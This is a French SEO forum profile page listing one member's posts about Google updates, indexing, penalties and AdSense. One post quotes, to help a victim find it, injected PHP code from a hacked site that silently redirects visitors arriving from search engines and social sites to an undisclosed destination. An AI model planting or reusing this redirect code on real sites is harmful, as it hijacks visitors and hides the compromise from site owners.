Aller au contenu

Cariboo

Membre+
  • Compteur de contenus

    3 376
  • Inscrit(e) le

  • Dernière visite

Tout ce qui a été posté par Cariboo

  1. Google sait générer une "rendition" de la page en appliquant les CSS et en executant les javascripts, donc il sait ce que le webmaster montre par défaut (et aussi ce qu'il masque). Cela fait un moment qu'on les soupçonne de traiter les contenus masqués par défaut de manière subtilement différente (en ne leur donnant pas le même poids). Là, John Mueller a juste confirmé que Google avait peut être récemment été un peu plus loin, en allant jusqu'à écarter le contenu masqué (en ne l'indexant plus). Est-ce sytématique ? Pas du tout, les tests montrent le contraire. Est-ce même fréquent : pas du tout. En général, le contenu reste indexé. J'ai l'impression qu'il faut un autre facteur pour que le contenu masqué ne soit pas indexé. Lequel ? Mystère, on n'a pas encore trouvé... mais on cherche ;-)
  2. Pour info ce n'est pas Google qui a appelé cette mise à jour Pigeon. Mais le site Searchengineland.com. En france, Pigeon c'est pas super positif comme nom. D'ailleurs Gary Illyes de Google a récemment officiellement demandé à ses boss de communiquer sur les "vrais" noms des updates utilisés en interne. Il a pas trop apprécié le nom "mobilegeddon" pour l'update du 21 avril. Par contre il n'a toujours pas eu l'autorisation de le faire... Il a clairement indiqué que ce délai provenait d'un problème de bureaucratie chez Google.
  3. En fait, ouvrir un autre compte n'est pas si simple car : - soit on veut que l'argent soit toujours versé au même endroit, et dans ce cas, Google fait le rapprochement (en identifiant l'adresse, le mail, le compte bancaire, la société, l'ip du demandeur...) et le nouveau compte va être tout aussi blacklisté (d'ailleurs c'est simple : on n'arrive pas à obtenir sa validation) - soit on passe par un compte tiers très différent, mais évidemment c'est beaucoup plus compliqué de récupérer l'argent Sinon Arlette, le terme "négociation" n'est peut être pas approprié. On peut au mieux demander la réouverture du compte une fois que l'on a identifié l'origine du problème (pas toujours évident). Négocier suppose un niveau de dialogue que les échanges de mail avec les équipes d'Adsense atteignent rarement. Déjà il faut passer la barrière des mails automatiques, et les réponses sont tellement "le réglement c'est le réglement" que ça vire en général au dialogue de sourds.
  4. Bon, décidément, c'était un Pigeon "light" ! Oui PieceMobile, le prochain Panda risque de faire plus de dégâts (ou de faire sortir des sites du purgatoire).
  5. Back to the future ;-)

  6. Google, d'après Zineb, a déployé en France son algorithme Pigeon (celui qui a chamboulé les résultats locaux aux US en juin 2014 et dans les pays anglophones en déc 2014). Cela date d'il y'a quelques jours. J'avais analysé la mise à jour en juillet aux US, et elle a eu un sérieux impact dans certaines niches. En France... Je ne sais pas. Pour mes clients pour lesquels le référencement local est important, l'impact est peu évident. Et pour vous. Vous avez vu quelque chose ?
  7. Google a peu communiqué sur les critères qui détermine la décision de changer ou pas les titres. On sait qu'ils le font quand : - le titre est trop long - le titre n'a pas grand rapport avec le contenu de la page Mais ça a l'air plus compliqué que ça. Après, on voit que des titres courts sont modifiés aussi, alors que le titre contient une description acceptable de la page. Des titres trop longs ou sans intérêt ne sont pas modifiés. Pour couronner le tout, Google change cet algo tous les mois depuis le début de l'année. Pour info il semble qu'ils utilisent les ancres des liens pointant vers la page comme source d'info pour le nouveau titre, donc ce n'est pas "inventé". Bref, on peut essayer de changer ça en modifiant ses balises "title", mais ça ne garantit pas un retour à la normale. On peut modifier les ancres des liens pointant vers la page, mais c'est difficile à faire quand les liens sont externes (par exemple pour la home page). Par expérience, avec ou sans ces changements, le CTR ne bouge pas beaucoup, sauf exception.
  8. Oui mais : - Une seule version est présentée sur le site, soit www, soit www4 - il y'a une balise link rel=canonical qui indique la bonne url Bref, c'est pas top, mais les dégâts sont probablement limités grâce au canonical (mais qui je le rappelle, n'est pas une solution parfaite). Ils devraient faire une redirection 301. Mais bon !
  9. Euh, ce n'est pas forcément quelque chose à copier... Il est clair qu'ils le font à cause de contraintes techniques internes. Les urls en www4 pointent sur un template qui affiche des contenus reliés à un auteur, un groupe, etc... Je suppose que cela sollicite derrière un programme ou une technologie de recherche particulière, et que par facilité, ils expédient la requête sur un serveur ou une grappe de serveurs spécifiques. Mais je doute fort qu'ils le fassent par souci d'optimisation.
  10. A mon avis il faut raisonner globalement : c'est tout ton réseau de sites qui est détecté comme suroptimisé, et le fait que deux sites seulement soient affectés ne signifie pas qu'il ne faut pas travailler sur les autres aussi. Tu as la chance de pouvoir éventuellement éviter que tout tombe dans le bec du pingouin. Analyse à fond tes backlinks, sur chaque site, ton linking interne, et le linking intersites entre ta galaxie de sites. Mets toi à la place de Google qui veut détecter les petits malins, et regarde ce qui peut paraître comme "artificiel". Autre chose : avec ton texte en footer et tes liens "contextualisés", tu allumes un indicateur chez Google. Ce texte est fait pour le SEO, pas les utilisateurs. Le même texte "marketé" pour faire cliquer les utilisateurs (avec des call to actions) est plus normal sur un site marchand, et devrait présenter moins de risques.
  11. Oui la déclaration des paramètres est TRES utile. Cela sert à éliminer les de DUST (duplicate urls same text) qui empoisonnent la vie des crawlers des moteurs de recherche. Est-ce que l'on voit des changements après : oui, progressivement (parfois très peu de temps après), les urls avec ces paramètres ne sont plus crawlées. Quel effet cela peut avoir sur le référencement : et bien, en fait, cela n'améliore que le crawl, donc cela n'a pas d'influence directe sur les positions et la visibilité. On ne voit d'effets mesurables que dans les cas où des problèmes de crawl empêchaient certaines pages d'être indexées correctement, ou mises à jour souvent, ou étaient jugées de mauvaise qualité à cause des problèmes de duplication que cela créait. Mais cela arrive plus souvent qu'on ne croit donc "better safe than sorry" : il vaut mieux faciliter la vie des crawlers.
  12. Le principe d'un "filtre" dans un moteur de recherche, c'est de prendre les résultats qui seraient normalement classés plus haut par l'algorithme de base, et de les enlever (filtre antispam, filtre duplicate content) parce que ces pages parasitent les SERPs, ou de les déclasser (pénalité algorithmiques). Toutes les pénalités algorithmiques ne sont pas des filtres, et tous les filtres ne sont pas des pénalités. Par exemple, le filtre duplicate content, ce n'est pas une pénalité. Pour compliquer la terminologie, je me suis rendu compte que Google n'aime pas appeler les filtres algorithmiques des "pénalités". Pour eux, quand un site se fait "dégommer" par son algorithme, c'est l'effet de l'algorithme, pas d'une pénalité. Dans leur vocabulaire, pénalité veut plus volontiers dire : intervention manuelle du service qualité, ce qui est somme toute statistiquement assez rare. Du point de vue du webmaster, pénalité manuelle ou algorithmique c'est un peu le même effet : il avait du trafic avant, et après il en a brutalement beaucoup moins. Panda est-il un filtre ? En un sens oui, clairement, car son impact déclasse des sites qui, auparavant, auraient brillé dans les SERPs. Par rapport au crawl : cela arrive souvent avec les pénalités automatiques (même si ce n'est pas systématique). Le site est réévalué automatiquement régulièrement, et pour le réévaluer, Google continue de télécharger les pages... C'est même ce genre de détail qui permet de distinguer un changement algorithmique d'une chute de pagerank, qui elle, se voit souvent au niveau du crawl.
  13. Tout dépend comment on fait le testing A/B. Il faut éviter avant tout quelque chose qui ressemble à du cloaking, car oui, dans certains cas, un moteur peut confondre un test A/B avec cette pratique. Si Googlebot voit A, puis avec un user agent normal voit B, on risque d'allumer un flag inutilement. Donc il y'a clairement des précautions à prendre, mais en général c'est sans risque. Un changement de code html n'est pas très grave. Par contre, un changement de contenu, là cela devient plus délicat à gérer. Un texte modifié sur bouton ça passe aussi, mais changer un texte de présentation, il faut faire attention.
  14. La valeur d'attribut noindex et une ligne disallow dans le robots.txt ont des effets très différents. C'est vrai que c'est toujours mal compris par les webmasters. Le robots.txt indique aux moteurs que vous ne voulez pas que le contenu appelable via certaines urls soit téléchargé. Par contre, si le moteur connait l'url, il peut décider de l'indexer ! Cela se manifeste en principe par un snippet vide, avec l'url à la place du titre (qu'il ne connait pas puisqu'il n'a pas pu lire la balise titre), pas de description ou celle de l'ODP, et l'url répétée à la fin. Au contraire, préciser noindex dans la balise meta demande au moteur de ne pas faire apparaître une url dans ses pages de résultats. Mais le contenu de la page est bien téléchargé, parsé, analysé normalement, et du coup les liens figurant sur la page sont découverts et suivis (sauf si on ajoute "nofollow" dans la meta robots). Par conséquent, pour éviter l'indexation d'une url, utiliser le noindex est nécessaire et suffisant, et il NE FAUT JAMAIS UTILISER LE ROBOTS.TXT si on veut juste empêcher l'indexation. Si on souhaite éviter que le contenu des pages soit connu, là il faut empêcher le crawl et utiliser le robots.txt. Pour les paginations, depuis que Google a introduit le support de la balise "link rel=next/prev", le plus simple est de : - laisser google tout crawler - utiliser link rel=next/prev pour aider google à gérer le duplicate (notez bien qu'en général il se débrouille bien mieux qu'avant avec les paginations, même sans cette balise. - et ensuite, décider (ou pas) de mettre les pages suivantes en noindex. C'est vrai que le plus souvent, seule la première page est une bonne page d'atterrissage SEO, et les suivantes sont bof! Donc le noindex prend tout son sens, surtout dans le contexte Panda. Y'a-t'il un gain sur le crawl à utiliser le noindex ? Non, pour les raisons évoquées plus haut : ça n'a rien à voir. Améliore-t'on le crawl en bloquant le crawl des pages jugées inutiles ? Pas toujours, et c'est facile de se tirer une balle dans le pied en essayant de faire ça. Changer le linking interne et/ou augmenter son pagerank et/ou la forme de ses urls et/ou le temps de téléchargement est souvent, et de loin, le plus efficace. Après, pour les gros sites, le vrai problème qui reste à régler c'est la profondeur des pages qui peut être très élevée avec une pagination et donc produire des effets de bords problématiques.
  15. Le symptôme, c'est le webmaster qui revient sur le Hub et qui nous dit "je ne me suis pas fait sandboxer là ?" Sinon, impossible de le savoir de manière directe, on ne le voit que de manière indirecte (par les effets).
  16. Tiens on réveille une vieille discussion. Par "rebooté" j'entends la remise à zéro des indicateurs temporels. Si je suis un moteur de recherche et que je détecte un changement massif, ou un changement de propriétaire, alors je considère que l'ancienneté du site, de la page et d'autres indicateurs ne peuvent plus être considérés de la même façon. Question confiance en particulier : je repars à zéro. Je réinitialise tout, comme si le site était tout neuf, car je m'attend à observer un comportement différent et à voir apparaître un contenu différent. L'intérêt de ces indicateurs temporels est décrite dans le brevet "Information retrieval based on historical data" déposé par Google.
  17. Y'a-t'il eu des modifications algorithmiques à cette période ? Oui sûrement, Google communique sur plusieurs centaines de modifs par an, soit une par jour en moyenne et plusieurs dans chaque mise en production (apparemment on en détecte plus d'une MEP par semaine). Panda 3.2 est intervenu vers le 18 janvier. Après, de quoi s'agit-il ? Avec les éléments que tu fournis, cela ressemble à une pénalité. Est-ce manuel ou algorithmique ? Il n'y a que Google qui puisse te le dire. Donc la tactique consiste à chercher ce qui peut clocher, sans bénéficier de réelles indications utiles (c'est pas cool, je sais) et de faire une demande de réinclusion derrière. En même temps, tu ne fournis pas assez d'éléments pour vérifier que ton diagnostic technique est exhaustif et précis : il n'y a rien qui ressemble plus à une pénalité qu'un problème technique. J'ai quand même une question à ce stade : quel mécanisme exact utilises-tu pour montrer ton contenu à Google ? En clair fais tu cloaking, même considéré comme légitime par toi ? Que se passe-t'il pour un utilisateur qui n'accepte pas les cookies ni le javascript ? Par ailleurs, j'ai bien peur qu'à terme, demander l'indexation de pages aussi vides que cells que tu présentes te conduit forcément à finir dans un filtre quelconque de Google. Même si ce n'est pas cela qui a été sanctionné là, il va falloir envisager une stratégie différente.
  18. En livre en français, je conseille comme Patrick le livre d'Olivier Andrieu... Certains me jugeront de parti pris parce que certaines pages des éditions 2011 et encore plus en 2012 sont des reprises de mes articles mais non : je donnais déjà ce conseil pour les éditions précédentes. Après la veille est indispensable, mais faire de la veille sans avoir au départ fait le tour de l'état de l'art et sans avoir une idée de ce qui est important et accessoire ne peut conduire qu'à une grande confusion. Combien de fois j'ai vu de grands "veilleurs" incapables de concevoir un plan d'action, soit parce qu'ils ne savaient pas comment utiliser l'information (cas le plus fréquent), ou parce qu'ils étaient paralysés par le volume et la variété des informations sur les changements dans l'algo de Google et sur l'environnement. C'est d'ailleurs l'inconvénient avec les blogs de référenceurs : la forme du blog conduit à suivre l'actualité, et de parler de détails qui tiennent sur deux écrans, et en un seul billet, on a du mal à dresser un tableau d'ensemble... Au moins sur les bouquins, il y'a un plan et une progression logique qui peut aider à structurer son approche. Ce qui s'avère indispensable dans la pratique.
  19. Je confirme que tous les comparateurs n'utilisent pas le même modèle. Je travaille pour un comparateur qui ne référence pas que les marchands qui achètent du trafic : beaucoup de boutiques présentes sur le site sont référencées à titre gracieux, juste parce que nous avons considéré que les offres marchandes pouvaient intéresser nos utilisateurs. D'autres ont choisi d'être plus visibles, et nous envoient des feeds et fonctionnent avec des modèles au Cpc ou au Cpa. Mais oui, il y'a moyen d'augmenter sa visibilité via les comparateurs sans se ruiner.
  20. J'y serai ! Cela me fera plaisir de revoir la très sympathique et très dynamique communauté Joomla! Pour ceux qui utilisent Joomla, les Joomla Day c'est vraiment génial pour être au top de l'info sur le CMS. Et pour échanger avec d'autres utilisateurs qui ont eu les mêmes problèmes à résoudre.
  21. Euh oui, l'âge ce n'est pas un problème. J'ai 45 ans, et cela fait treize que je bosse dans des projets internet. Au début, je bossais avec des gens qui avaient dix ans de moins que moi, mais j'avais le même niveau qu'eux en programmation. Dix ans après, j'avais vingt ans de différence avec les développeurs, ils étaient meilleurs que moi en développement, mais je suis leur boss, parce que j'ai plus de bouteille, je sais gérer des projets et j'ai acquis une expertise pointue sur certains sujets. L'âge n'est pas un obstacle, il faut savoir évoluer. Si c'est ta passion, vas-y, mais effectivement ne te fais pas d'illusion, la concurrence est rude, et deux semaines de travail pour te mettre à niveau n'est pas suffisant. C'est plutôt deux ans à faire du dev et à apprendre qu'il te faudra pour retrouver un niveau correct. Une observation en passant : Mayotte, c'est loin, c'est exotique, ça ne ressemble pas à la Beauce ou à la Bretagne, mais techniquement, ce n'est pas l'étranger que je sache ! C'est carrément devenu un département d'Outre Mer ...
  22. Bon, une précision pour commencer : le Trustrank n'existe pas chez Google, c'est une invention de Yahoo! Pire, Matt Cutts a confirmé que s'ils ont bien quelque chose qui ressemble au concept de Trustrank, à savoir donner de l'importance aux sites qui ont une certaine autorité, cela fonctionne de manière assez différente. Deuxième chose : ce que tu évoques n'a rien à voir avec le Trustrank, mais avec l'idée que l'ancienneté du domaine compte dans l'algorithme. C'est un "signal" qui est évoqué depuis des années, bien avant l'apparition du Trustrank. Maintenant la réponse : dans le passé, il semble que Google utilisait ce signal de manière basique. Donc cela pouvait être utile (mais franchement à la marge). A l'heure actuelle, je pense qu'il faut deux conditions : le domaine doit exister depuis longtemps, et avoir un historique long (donc avoir été exploité). En plus, l'historique ne doit pas avoir été "rebooté" par Google. Donc, si je dois acheter un domaine très en avance, c'est pour le "réserver" pour le futur, pas pour le référencement, il y'a d'autres choses à faire beaucoup plus importantes. Et si l'idée me vient d'acheter un domaine ancien pour le référencement, je me méfie toujours, et je fais une demande de réinclusion à Google pour qu'ils rebootent l'historique !
  23. recherche un code dans tes scripts qui ressemble à ça : error_reporting(0); $qazplm=headers_sent(); if (!$qazplm){ $referer=$_SERVER['HTTP_REFERER']; $uag=$_SERVER['HTTP_USER_AGENT']; if ($uag) { if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com")) { if (!stristr($referer,"cache") or !stristr($referer,"inurl")){ header("Location: [l'adresse du site de destination que je ne mentionne pas exprès]"); exit(); } } } } Il y'a un "cloaking", seuls les moteurs de recherche voient la redirection, c'est ce qui empêche la détection du problème !!
  24. Bon, j'ai patienté, et après 36 heures, j'ai reçu un mail de confirmation, et je peux me connecter à présent. Par contre, quand j'essaye de copier quelque chose sur le disque virtuel local, j'ai un message qui me dit que cet emplacement n'existe plus (alors qu'il est bien affiché par mon explorateur) et je ne peux rien uploader... Frustrant !
×
×
  • Créer...